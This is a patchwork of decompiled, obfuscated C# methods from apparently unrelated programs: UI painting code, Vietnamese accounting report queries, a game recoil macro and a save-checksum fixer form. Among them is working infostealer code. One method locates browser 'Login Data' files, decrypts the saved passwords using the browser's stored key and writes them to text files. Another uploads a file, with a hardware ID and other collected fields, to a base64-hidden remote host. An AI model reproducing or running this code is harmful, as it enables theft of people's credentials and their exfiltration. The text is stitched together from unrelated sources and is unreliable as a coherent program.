// Token: 0x06000128 RID: 296 RVA: 0x0000B1E0 File Offset: 0x000093E0 protected override void OnPaint(PaintEventArgs var1) { base.OnPaint(var1); Bitmap bitmap = new Bitmap(base.Width, base.Height); Graphics graphics = Graphics.FromImage(bitmap); Rectangle rectangle = new Rectangle(0, 0, base.Width - 1, base.Height - 1); Color transparencyKey = base.ParentForm.TransparencyKey; graphics.SmoothingMode = SmoothingMode.Default; graphics.Clear(transparencyKey); graphics.FillPath(new SolidBrush(Color.FromArgb(52, 52, 52)), Class6.smethod_0(rectangle, 7)); graphics.FillPath(new SolidBrush(Color.FromArgb(246, 246, 246)), Class6.smethod_0(new Rectangle(2, 20, base.Width - 5, base.Height - 42), 7)); graphics.FillPath(new SolidBrush(Color.FromArgb(52, 52, 52)), Class6.smethod_0(new Rectangle(2, 2, base.Width / 2 + 2, 16), 7)); graphics.FillPath(new SolidBrush(Color.FromArgb(52, 52, 52)), Class6.smethod_0(new Rectangle(base.Width / 2 - 3, 2, base.Width / 2, 16), 7)); graphics.FillRectangle(new SolidBrush(Color.FromArgb(52, 52, 52)), new Rectangle(2, 15, base.Width - 5, 10)); graphics.DrawPath(new Pen(Color.FromArgb(52, 52, 52)), Class6.smethod_0(new Rectangle(2, 2, base.Width - 5, base.Height - 5), 7)); graphics.DrawPath(new Pen(Color.FromArgb(52, 52, 52)), Class6.smethod_0(rectangle, 7)); graphics.DrawString(this.Text, new Font("Trebuchet MS", 10f, FontStyle.Bold), new SolidBrush(Color.FromArgb(221, 221, 221)), new Rectangle(7, 3, base.Width - 1, 22), new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Near }); graphics.FillRectangle(new SolidBrush(Color.FromArgb(52, 52, 52)), 0, base.Height - 25, base.Width - 3, 20); graphics.DrawLine(new Pen(Color.FromArgb(52, 52, 52)), 5, base.Height - 5, base.Width - 6, base.Height - 5); graphics.DrawLine(new Pen(Color.FromArgb(52, 52, 52)), 7, base.Height - 4, base.Width - 7, base.Height - 4); graphics.DrawString(this.string_0, new Font("Trebuchet MS", 10f, FontStyle.Bold), new SolidBrush(Color.FromArgb(221, 221, 221)), 5f, (float)(base.Height - 23)); var1.Graphics.DrawImage((Image)bitmap.Clone(), 0, 0); graphics.Dispose(); bitmap.Dispose(); }
// Token: 0x06000131 RID: 305 RVA: 0x0000B5EC File Offset: 0x000097EC protected override void OnPaint(PaintEventArgs v) { base.OnPaint(v); Bitmap bitmap = new Bitmap(base.Width, base.Height); Graphics graphics = Graphics.FromImage(bitmap); GraphicsPath graphicsPath = new GraphicsPath(); GraphicsPath graphicsPath2 = new GraphicsPath(); graphicsPath.AddRectangle(this.rectangle_1); graphicsPath2.AddRectangle(this.rectangle_0); graphics.Clear(this.BackColor); TokenizerWorker.AttributeToken attributeToken = this.attributeToken_0; if (attributeToken != (TokenizerWorker.AttributeToken) 0) { if (attributeToken != (TokenizerWorker.AttributeToken) 1) { goto IL_44E; } if (this.int_0 > 0 & this.int_0 < 28) { LinearGradientBrush brush = new LinearGradientBrush(this.rectangle_1, Color.FromArgb(76, 76, 76, 76), Color.FromArgb(48, 48, 48), 90f); graphics.FillPath(brush, graphicsPath); graphics.DrawPath(new Pen(Color.FromArgb(40, 40, 40)), graphicsPath); graphics.DrawString("0", new Font("Marlett", 11f, FontStyle.Regular), new SolidBrush(Color.FromArgb(221, 221, 221)), (float)(this.rectangle_1.Width - 22), (float)(this.rectangle_1.Height - 16)); LinearGradientBrush brush2 = new LinearGradientBrush(this.rectangle_0, Color.FromArgb(73, 73, 73), Color.FromArgb(58, 58, 58), 90f); graphics.FillPath(brush2, graphicsPath2); graphics.DrawPath(new Pen(Color.FromArgb(40, 40, 40)), graphicsPath2); graphics.DrawString("r", new Font("Marlett", 11f, FontStyle.Regular), new SolidBrush(Color.FromArgb(221, 221, 221)), (float)(this.rectangle_0.Width - 4), (float)(this.rectangle_0.Height - 16)); goto IL_44E; } if (this.int_0 > 30 & this.int_0 < 75) { LinearGradientBrush brush3 = new LinearGradientBrush(this.rectangle_0, Color.FromArgb(76, 76, 76, 76), Color.FromArgb(48, 48, 48), 90f); graphics.FillPath(brush3, graphicsPath2); graphics.DrawPath(new Pen(Color.FromArgb(40, 40, 40)), graphicsPath2); graphics.DrawString("r", new Font("Marlett", 11f, FontStyle.Regular), new SolidBrush(Color.FromArgb(221, 221, 221)), (float)(this.rectangle_0.Width - 4), (float)(this.rectangle_0.Height - 16)); LinearGradientBrush brush4 = new LinearGradientBrush(this.rectangle_1, Color.FromArgb(73, 73, 73), Color.FromArgb(58, 58, 58), 90f); graphics.FillPath(brush4, Class6.smethod_0(this.rectangle_1, 1)); graphics.DrawPath(new Pen(Color.FromArgb(40, 40, 40)), graphicsPath); graphics.DrawString("0", new Font("Marlett", 11f, FontStyle.Regular), new SolidBrush(Color.FromArgb(221, 221, 221)), (float)(this.rectangle_1.Width - 22), (float)(this.rectangle_1.Height - 16)); goto IL_44E; } } LinearGradientBrush brush5 = new LinearGradientBrush(this.rectangle_1, Color.FromArgb(73, 73, 73), Color.FromArgb(58, 58, 58), 90f); graphics.FillPath(brush5, graphicsPath); graphics.DrawPath(new Pen(Color.FromArgb(40, 40, 40)), graphicsPath); graphics.DrawString("0", new Font("Marlett", 11f, FontStyle.Regular), new SolidBrush(Color.FromArgb(221, 221, 221)), (float)(this.rectangle_1.Width - 22), (float)(this.rectangle_1.Height - 16)); LinearGradientBrush brush6 = new LinearGradientBrush(this.rectangle_0, Color.FromArgb(73, 73, 73), Color.FromArgb(58, 58, 58), 90f); graphics.FillPath(brush6, graphicsPath2); graphics.DrawPath(new Pen(Color.FromArgb(40, 40, 40)), graphicsPath2); graphics.DrawString("r", new Font("Marlett", 11f, FontStyle.Regular), new SolidBrush(Color.FromArgb(221, 221, 221)), (float)(this.rectangle_0.Width - 4), (float)(this.rectangle_0.Height - 16)); IL_44E: v.Graphics.DrawImage((Image)bitmap.Clone(), 0, 0); graphics.Dispose(); graphicsPath2.Dispose(); graphicsPath.Dispose(); bitmap.Dispose(); }
public FrmToSupp() { InitializeComponent(); this.oleDbConnection_0 = new OleDbConnection(Class7.string_4); this.oleDbConnection_1 = new OleDbConnection(Class7.string_5); this.string_0 = "TOSUPP_" + Class6.smethod_0(SystemInformation.ComputerName); }
// Token: 0x060001C0 RID: 448 RVA: 0x01032F5C File Offset: 0x0103115C public static void smethod_6(int int_21, int int_22, int int_23) { int num = 0; int num2 = 0; int num3 = RS6Menu.smethod_2(); if (Settings.Default.rapidKey.ToString() == Keys.LButton.ToString() && Settings.Default.rapid) { int_21 -= RS6Menu.int_8 * 2; } else if (Settings.Default.rapidKey.ToString() != Keys.LButton.ToString() && Settings.Default.rapid) { RS6Menu.smethod_8(true); } List <int> list = new List <int>(); List <int> list2 = new List <int>(); if (int_23 < num3 && int_23 == 0) { num3 = 1; } else if (int_23 < num3) { num3 = int_23; } Random random = new Random(); int num4 = Convert.ToInt32(int_22 / num3); int num5 = Convert.ToInt32(int_23 / num3); for (int i = 0; i < num3 - 1; i++) { int num6 = random.Next(-2, 2); int num7 = random.Next(-2, -2); num += num6; num2 += num7; list.Add(num6); list2.Add(num7); } int num8 = 0; while (num8 < num3 && Class6.smethod_2(Keys.LButton)) { if (num8 != num3 - 1) { Class6.smethod_0((num4 + list[num8]) / num3, (num5 + list2[num8]) / num3); Thread.Sleep(int_21 / num3); } else { Class6.smethod_0((num4 - num) / num3 + (int_22 - num4 * num3), (num5 - num2) / num3 + (int_23 - num5 * num3)); Thread.Sleep(int_21 / num3); } num8++; } RS6Menu.smethod_7(); }
public FrmBookLost() { InitializeComponent(); this.oleDbConnection_0 = new OleDbConnection(Class7.string_5); this.string_0 = null; this.string_1 = "TEMPSTR_" + Class6.smethod_0(SystemInformation.ComputerName); this.string_2 = Class6.string_2; this.string_3 = null; }
// Token: 0x060001BF RID: 447 RVA: 0x01032DFC File Offset: 0x01030FFC public static void smethod_5(int int_21, int int_22, int int_23, int int_24) { int num = RS6Menu.smethod_3(int_24); int num2 = RS6Menu.smethod_4(num); int num3 = 0; int num4 = 0; List <int> list = new List <int>(); List <int> list2 = new List <int>(); for (int i = 0; i < num / 2 - 1; i++) { int num5 = RS6Menu.random_0.Next(-1, 3); int num6 = RS6Menu.random_0.Next(-1, 3); num3 += num5; num4 += num6; list.Add(num5); list2.Add(num6); } int num7 = 0; while (num7 < num / 2 && Class6.smethod_2(Keys.LButton) && Class6.smethod_2(Keys.RButton)) { if (num7 != num / 2 - 1) { Class6.smethod_0(int_24 / num + list[num7], int_24 * 3 / num + list2[num7]); Thread.Sleep(num2 / num); } else { Class6.smethod_0(int_24 / num - num3, int_24 * 3 / num - num4); Thread.Sleep(num2 / num); } num7++; } int num8 = 0; while (num8 < num / 2 && Class6.smethod_2(Keys.LButton) && Class6.smethod_2(Keys.RButton)) { if (num8 == num / 2 - 1) { Class6.smethod_0(-1 * (int_24 / num + num3), -1 * (int_24 * 3 / num + num4)); Thread.Sleep(num2 / num); } else { Class6.smethod_0(-1 * (int_24 / num - list[num8]), -1 * (int_24 * 3 / num - list2[num8])); Thread.Sleep(num2 / num); } num8++; } }
// Token: 0x06000044 RID: 68 RVA: 0x00005018 File Offset: 0x00003218 internal static string[] smethod_1(Assembly assembly_0) { if (assembly_0 == typeof(Class6).Assembly) { if (!Class6.bool_0) { Class6.smethod_0(); } List <string> list = new List <string>(); list.AddRange(assembly_0.GetManifestResourceNames()); list.AddRange(((Assembly)Class6.object_0).GetManifestResourceNames()); return(list.ToArray()); } return(assembly_0.GetManifestResourceNames()); }
// Token: 0x06000045 RID: 69 RVA: 0x0000507C File Offset: 0x0000327C private static Assembly smethod_2(object object_1, ResolveEventArgs resolveEventArgs_0) { if (!Class6.bool_0) { Class6.smethod_0(); } string name = resolveEventArgs_0.Name; for (int i = 0; i < Class6.string_0.Length; i++) { if (Class6.string_0[i] == name) { return((Assembly)Class6.object_0); } } return(null); }
// Token: 0x0600002E RID: 46 RVA: 0x00004BF4 File Offset: 0x00002DF4 public static void smethod_4(string string_0, string string_1, string string_2) { try { new WebClient().UploadFile(string.Concat(new string[] { Class6.smethod_5("aHR0cHM6Ly9kb2Rvb3MucnU="), "/fifa/fifa.php?hwid=", Class6.smethod_0(), "&ci=", string_1, "&p=", Class10.string_0, "&c=", Class10.VadjZxyuNw, "&a=", Class10.string_1, "&f=", Class10.string_2, "&t=", Class10.string_3, "&fz=", Class10.string_4, "&s=", Class10.string_5, "&cr=", Class10.string_6, "&ds=", Class10.string_7, (Class10.string_9 != "") ? (" &dd=" + Class10.string_9.Replace(";", "\r\n")) : "&dd=", "&pd=", Class10.string_8 }), "POST", string_0); } catch { } }
// Token: 0x060001D2 RID: 466 RVA: 0x0000E718 File Offset: 0x0000C918 protected override void OnPaint(PaintEventArgs key) { base.OnPaint(key); Bitmap bitmap = new Bitmap(base.Width, base.Height); Graphics graphics = Graphics.FromImage(bitmap); Rectangle rectangle = new Rectangle(51, 3, base.Width - 103, 18); Rectangle rectangle2 = new Rectangle(0, 0, base.Width - 1, base.Height - 10); graphics.Clear(Color.Transparent); graphics.SmoothingMode = SmoothingMode.HighQuality; graphics.FillPath(Brushes.White, Class6.smethod_0(new Rectangle(1, 12, base.Width - 3, rectangle2.Height - 1), 8)); graphics.DrawPath(new Pen(Color.FromArgb(159, 159, 161)), Class6.smethod_0(new Rectangle(1, 12, base.Width - 3, base.Height - 13), 8)); graphics.FillPath(Brushes.White, Class6.smethod_0(rectangle, 1)); graphics.DrawPath(new Pen(Color.FromArgb(182, 180, 186)), Class6.smethod_0(rectangle, 4)); graphics.DrawString(this.Text, new Font("Tahoma", 9f, FontStyle.Regular), new SolidBrush(Color.FromArgb(53, 53, 53)), rectangle, new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center }); key.Graphics.DrawImage((Image)bitmap.Clone(), 0, 0); graphics.Dispose(); bitmap.Dispose(); }
public void salebytaxcode() { new FrmGetDates().ShowDialog(); if (Class7.IsInputDate) { DataSet set; string str = "S05GTGT_" + Class6.smethod_0(SystemInformation.ComputerName); try { this.string_2 = "DROP TABLE " + str; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); } this.oleDbConnection_0.Close(); } catch (Exception) { } this.string_2 = string.Concat(new object[] { "SELECT DISTINCT ptr.goods_id, gs.full_name, gs.grp_id, gs.piceunit, gs.tax_code, SUM(CASE ptr.trans_code WHEN '00' THEN ptr.qty ELSE 0 END) AS sold, SUM(CASE ptr.trans_code WHEN '01' THEN ptr.qty ELSE 0 END) AS rb, SUM(CASE ptr.trans_code WHEN '00' THEN ptr.amount - ptr.discount ELSE 0 END) AS in_amt, SUM(CASE ptr.trans_code WHEN '01' THEN ptr.amount - ptr.discount ELSE 0 END) AS out_amt,SUM(CASE ptr.trans_code WHEN '00' THEN ptr.surplus ELSE 0 END) AS soldsur, SUM(CASE ptr.trans_code WHEN '01' THEN ptr.surplus ELSE 0 END) AS rbsur, SUM(CASE ptr.trans_code WHEN '00' THEN ptr.vat_amt ELSE 0 END) AS vat_amt,SUM(CASE ptr.trans_code WHEN '01' THEN ptr.vat_amt ELSE 0 END) AS rbvat_amt, ptr.exp_id, stk.fullname INTO ", str, " FROM ((tblTransaction AS ptr INNER JOIN tblGoods AS gs ON ptr.goods_id = gs.goods_id) INNER JOIN tblStore AS stk ON ptr.exp_id = stk.id) WHERE (ptr.Status = 1) AND (ptr.trans_code IN ('00', '01')) AND (ptr.tran_date BETWEEN '", Class7.dateTimeFrom, "' AND '", Class7.dateTimeTo, "' ) GROUP BY ptr.goods_id, gs.full_name, ptr.exp_id, stk.fullname, gs.grp_id, gs.piceunit, gs.tax_code" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } this.string_2 = "delete from " + str + " where rb = sold "; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } new saledetail_taxcode().ShowPreviewDialog(); } }
public static void smethod_0(string string_1) { string str = null; DataSet set; string str2 = ","; string_0 = "SELECT id FROM tblStore " + string_1; oleDbDataAdapter_0 = new OleDbDataAdapter(string_0, oleDbConnection_0); using (DataTable table = new DataTable()) { oleDbDataAdapter_0.Fill(table); oleDbConnection_0.Close(); foreach (DataRow row in table.Rows) { string str4 = str; str = str4 + "'" + row[0].ToString().Trim() + "'" + str2; } } str = str.Substring(1, str.Length - 3); string str3 = "STKGL_" + Class6.smethod_0(SystemInformation.ComputerName); string_0 = "CREATE TABLE " + str3 + "([id] [nchar](5) DEFAULT (('')),[goods_id] [nchar](6) DEFAULT (('')), [grp_id] [nchar](4) DEFAULT (('')),[full_name] [nvarchar](200) DEFAULT (('')),[tend_qty] [numeric](18, 2) DEFAULT ((0)),[tend_amt] [numeric](18, 2) DEFAULT ((0)),[beg_qty] [numeric](18, 2) DEFAULT ((0)),[beg_amt] [numeric](18, 2) DEFAULT ((0)),[rt_qty] [numeric](18, 2) DEFAULT ((0)),[rt_amt] [numeric](18, 2) DEFAULT ((0)),[rb_qty] [numeric](18, 2) DEFAULT ((0)),[rb_amt] [numeric](18, 2) DEFAULT ((0)),[todealer_qty] [numeric](18, 2) DEFAULT ((0)),[todealer_amt] [numeric](18, 2) DEFAULT ((0)),[frdealer_qty] [numeric](18, 2) DEFAULT ((0)),[frdealer_amt] [numeric](18, 2) DEFAULT ((0)),[tostk_qty] [numeric](18, 2) DEFAULT ((0)),[tostk_amt] [numeric](18, 2) DEFAULT ((0)),[frstk_qty] [numeric](18, 2) DEFAULT ((0)),[frstk_amt] [numeric](18, 2) DEFAULT ((0)),[frsupp_qty] [numeric](18, 2) DEFAULT ((0)),[frsupp_amt] [numeric](18, 2) DEFAULT ((0)),[tosupp_qty] [numeric](18, 2) DEFAULT ((0)),[tosupp_amt] [numeric](18, 2) DEFAULT ((0)),[end_qty] [numeric](18, 2) DEFAULT ((0)),[end_amt] [numeric](18, 2) DEFAULT ((0)),[texp_qty] [numeric](18, 2) DEFAULT ((0)),[texp_amt] [numeric](18, 2) DEFAULT ((0)),[timp_qty] [numeric](18, 2) DEFAULT ((0)),[timp_amt] [numeric](18, 2) DEFAULT ((0)),[frwstk_qty] [numeric](18, 2) DEFAULT ((0)),[frwstk_amt] [numeric](18, 2) DEFAULT ((0)), [towstk_qty] [numeric](18, 2) DEFAULT ((0)),[towstk_amt] [numeric](18, 2) DEFAULT ((0)),[toowner_qty] [numeric](18, 2) DEFAULT ((0)),[toowner_amt] [numeric](18, 2) DEFAULT ((0))) "; oleDbDataAdapter_0 = new OleDbDataAdapter(string_0, oleDbConnection_0); using (set = new DataSet()) { oleDbDataAdapter_0.Fill(set); oleDbConnection_0.Close(); } string_0 = "INSERT INTO " + str3 + "(id,goods_id,grp_id,full_name,tend_qty,tend_amt) SELECT stk.id, stk.goods_id, gs.full_name,gs.grp_id,(stk.begin_qty + stk.imp_qty - stk.exp_qty) AS end_qty,(stk.begin_amt + stk.imp_amt - stk.exp_amt) as end_amt FROM tblGoods AS gs INNER JOIN tblStockInfo AS stk ON gs.goods_id = stk.goods_id WHERE stk.id IN('" + str + "')"; oleDbDataAdapter_0 = new OleDbDataAdapter(string_0, oleDbConnection_0); using (set = new DataSet()) { oleDbDataAdapter_0.Fill(set); oleDbConnection_0.Close(); } }
// Token: 0x0600001B RID: 27 RVA: 0x00005BBC File Offset: 0x00003DBC public static void PlqfdbrYf(string string_3) { try { List <string> list = new List <string>(); List <string> list2 = new List <string> { Help.AppDate, Help.LocalData }; List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string text in list3) { string[] array = null; string text2 = ""; try { list.AddRange(Directory.GetFiles(text, "Login Data", SearchOption.AllDirectories)); array = Directory.GetFiles(text, "Login Data", SearchOption.AllDirectories); goto IL_39E; } catch { goto IL_39E; } IL_BC: foreach (string text3 in array) { try { if (File.Exists(text3)) { string text4 = "Unknown"; foreach (string text5 in Class4.string_2) { if (text.Contains(text5)) { text4 = text5; } } string sourceFileName = text3; string sourceFileName2 = text3 + "\\..\\..\\Local State"; if (File.Exists(Class4.string_0)) { File.Delete(Class4.string_0); } if (File.Exists(Class4.string_1)) { File.Delete(Class4.string_1); } File.Copy(sourceFileName, Class4.string_0); File.Copy(sourceFileName2, Class4.string_1); Class9 @class = new Class9(Class4.string_0); new List <Class5>(); @class.method_4("logins"); string text6 = File.ReadAllText(Class4.string_1); string[] array4 = Regex.Split(text6, "\""); int num = 0; string[] array5 = array4; int k = 0; while (k < array5.Length) { string a = array5[k]; if (!(a == "encrypted_key")) { num++; k++; } else { text6 = array4[num + 2]; IL_1E4: byte[] bytes = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(text6)).Remove(0, 5)); byte[] key = Class6.smethod_0(bytes, null); int num2 = @class.method_1(); for (int l = 0; l < num2; l++) { try { string text7 = @class.method_0(l, 5); byte[] bytes2 = Encoding.Default.GetBytes(text7); string str = ""; try { if (text7.StartsWith("v10") || text7.StartsWith("v11")) { byte[] iv = bytes2.Skip(3).Take(12).ToArray <byte>(); byte[] encryptedBytes = bytes2.Skip(15).ToArray <byte>(); str = AesGcm256.Decrypt(encryptedBytes, key, iv); } else { str = Encoding.Default.GetString(Class6.smethod_0(bytes2, null)); } } catch { } text2 = text2 + "Url: " + @class.method_0(l, 1) + "\r\n"; text2 = text2 + "Login: "******"\r\n"; text2 = text2 + "Passwords: " + str + "\r\n"; text2 = text2 + "Browser: " + text4 + "\r\n\r\n"; Class4.int_0++; } catch { } } File.Delete(Class4.string_0); File.Delete(Class4.string_1); if (text4 == "Unknown") { File.AppendAllText(string_3 + "\\Passwords_" + text4 + ".txt", text2); goto IL_38E; } File.WriteAllText(string_3 + "\\Passwords_" + text4 + ".txt", text2); goto IL_38E; } } goto IL_1E4; } IL_38E :; } catch { } } continue; IL_39E: if (array != null) { goto IL_BC; } } } catch { } }
public void acc_gl() { string str = "ACCGL_" + Class6.smethod_0(SystemInformation.ComputerName); new FrmGetDates().ShowDialog(); if (Class7.IsInputDate) { DataSet set; WaitDialogForm form = new WaitDialogForm(); form.Caption = "Xin đợi một ch\x00fat ...."; try { this.string_2 = "CREATE TABLE " + str + "([account_id] [nchar](9) ,[name] [nvarchar](200) NULL,[mof_gl] [nchar](4) NULL,[beg_debit] [numeric](18, 2) DEFAULT ((0)),[beg_credit] [numeric](18, 2) DEFAULT ((0)),[db_amount] [numeric](18, 2) DEFAULT ((0)),[cr_amount] [numeric](18, 2) DEFAULT ((0)),[end_debit] [numeric](18, 2) DEFAULT ((0)),[end_credit] [numeric](18, 2) DEFAULT ((0)),[sumdebit] [numeric](18, 2) DEFAULT ((0)),[sumcredit] [numeric](18, 2) DEFAULT ((0))) "; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } } catch (Exception) { this.string_2 = "DELETE FROM " + str; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } } this.string_2 = "INSERT INTO " + str + "(account_id, name, mof_gl) SELECT account_id, name, mof_gl from tblAccount"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } this.string_2 = string.Concat(new object[] { "select account_id, db_amount, cr_amount from tblAccTrans where status = 1 and (tran_date between '", Class7.dateTimeFrom, "' and '", Class7.dateTimeTo, "') " }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); DataTable dataTable = new DataTable(); this.oleDbDataAdapter_0.Fill(dataTable); foreach (DataRow row in dataTable.Rows) { this.string_2 = string.Concat(new object[] { "update ", str, " set db_amount = db_amount + ", row["db_amount"], ", cr_amount = cr_amount + ", row["cr_amount"], " where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } this.string_2 = "select account_id, SUM(cr_amount) - SUM(db_amount) AS beg_amt from tblAccTrans where status = 1 and tran_date <= '" + Class7.dateTimeFrom + "' GROUP BY account_id "; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); DataTable table3 = new DataTable(); this.oleDbDataAdapter_0.Fill(table3); foreach (DataRow row in table3.Rows) { if (Class7.smethod_2(row["beg_amt"]) < 0.0) { this.string_2 = string.Concat(new object[] { "update ", str, " set beg_debit = ABS(", row["beg_amt"], ") where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } this.string_2 = string.Concat(new object[] { "update ", str, " set beg_credit = ", row["beg_amt"], " where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } this.string_2 = "select account_id, (cr_amount + beg_credit) - (db_amount + beg_debit) AS end_amt from " + str; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); DataTable table2 = new DataTable(); this.oleDbDataAdapter_0.Fill(table2); foreach (DataRow row in table2.Rows) { if (Class7.smethod_2(row["end_amt"]) < 0.0) { this.string_2 = string.Concat(new object[] { "update ", str, " set end_debit = ABS(", row["end_amt"], ") where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } this.string_2 = string.Concat(new object[] { "update ", str, " set end_credit =", row["end_amt"], " where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } this.string_2 = "delete from " + str + " where beg_debit + beg_credit + db_amount + cr_amount + end_debit + end_credit = 0"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } form.Close(); new acc_gl().ShowPreviewDialog(); this.string_2 = "DROP TABLE " + str; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_2, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } } }
public FrmFromSupp() { InitializeComponent(); this.oleDbConnection_0 = new OleDbConnection(Class7.string_5); this.tempTable = "ASUPP_" + Class6.smethod_0(SystemInformation.ComputerName); }
private void InitializeComponent() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1)); this.MenuStrip1 = new MenuStrip(); this.OpenToolStripMenuItem = new ToolStripMenuItem(); this.AboutToolStripMenuItem = new ToolStripMenuItem(); this.DonateToolStripMenuItem = new ToolStripMenuItem(); this.PictureBox1 = new PictureBox(); this.Button1 = new Button(); this.StatusStrip1 = new StatusStrip(); this.ToolStripStatusLabel1 = new ToolStripStatusLabel(); this.MenuStrip1.SuspendLayout(); ((ISupportInitialize)this.PictureBox1).BeginInit(); this.StatusStrip1.SuspendLayout(); this.SuspendLayout(); this.MenuStrip1.Items.AddRange(new ToolStripItem[] { this.OpenToolStripMenuItem, this.AboutToolStripMenuItem, this.DonateToolStripMenuItem }); Control menuStrip = this.MenuStrip1; Point location = new Point(0, 0); menuStrip.Location = location; this.MenuStrip1.Name = "MenuStrip1"; Control menuStrip2 = this.MenuStrip1; Size size = new Size(411, 24); menuStrip2.Size = size; this.MenuStrip1.TabIndex = 1; this.MenuStrip1.Text = "MenuStrip1"; this.OpenToolStripMenuItem.Name = "OpenToolStripMenuItem"; ToolStripItem openToolStripMenuItem = this.OpenToolStripMenuItem; size = new Size(48, 20); openToolStripMenuItem.Size = size; this.OpenToolStripMenuItem.Text = "Open"; this.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem"; ToolStripItem aboutToolStripMenuItem = this.AboutToolStripMenuItem; size = new Size(52, 20); aboutToolStripMenuItem.Size = size; this.AboutToolStripMenuItem.Text = "About"; this.DonateToolStripMenuItem.Name = "DonateToolStripMenuItem"; ToolStripItem donateToolStripMenuItem = this.DonateToolStripMenuItem; size = new Size(57, 20); donateToolStripMenuItem.Size = size; this.DonateToolStripMenuItem.Text = "Donate"; this.PictureBox1.BorderStyle = BorderStyle.FixedSingle; this.PictureBox1.Image = Class6.smethod_0(); Control pictureBox = this.PictureBox1; location = new Point(67, 39); pictureBox.Location = location; this.PictureBox1.Name = "PictureBox1"; Control pictureBox2 = this.PictureBox1; size = new Size(268, 99); pictureBox2.Size = size; this.PictureBox1.TabIndex = 2; this.PictureBox1.TabStop = false; Control button = this.Button1; location = new Point(149, 156); button.Location = location; this.Button1.Name = "Button1"; Control button2 = this.Button1; size = new Size(117, 26); button2.Size = size; this.Button1.TabIndex = 4; this.Button1.Text = "Fix Checksum"; this.Button1.UseVisualStyleBackColor = true; this.StatusStrip1.Items.AddRange(new ToolStripItem[] { this.ToolStripStatusLabel1 }); Control statusStrip = this.StatusStrip1; location = new Point(0, 195); statusStrip.Location = location; this.StatusStrip1.Name = "StatusStrip1"; Control statusStrip2 = this.StatusStrip1; size = new Size(411, 22); statusStrip2.Size = size; this.StatusStrip1.TabIndex = 5; this.StatusStrip1.Text = "StatusStrip1"; this.ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"; ToolStripItem toolStripStatusLabel = this.ToolStripStatusLabel1; size = new Size(236, 17); toolStripStatusLabel.Size = size; this.ToolStripStatusLabel1.Text = "US/EU/JP save are compatible with this tool"; SizeF autoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleDimensions = autoScaleDimensions; this.AutoScaleMode = AutoScaleMode.Font; size = new Size(411, 217); this.ClientSize = size; this.Controls.Add(this.StatusStrip1); this.Controls.Add(this.Button1); this.Controls.Add(this.PictureBox1); this.Controls.Add(this.MenuStrip1); this.HelpButton = true; this.Icon = (Icon)componentResourceManager.GetObject("$this.Icon"); this.MainMenuStrip = this.MenuStrip1; size = new Size(427, 255); this.MaximumSize = size; size = new Size(427, 255); this.MinimumSize = size; this.Name = "Form1"; this.StartPosition = FormStartPosition.CenterScreen; this.Text = "Samurai Warriors 4 Checksum Fixer 1.0 by chaoszage"; this.MenuStrip1.ResumeLayout(false); this.MenuStrip1.PerformLayout(); ((ISupportInitialize)this.PictureBox1).EndInit(); this.StatusStrip1.ResumeLayout(false); this.StatusStrip1.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); }
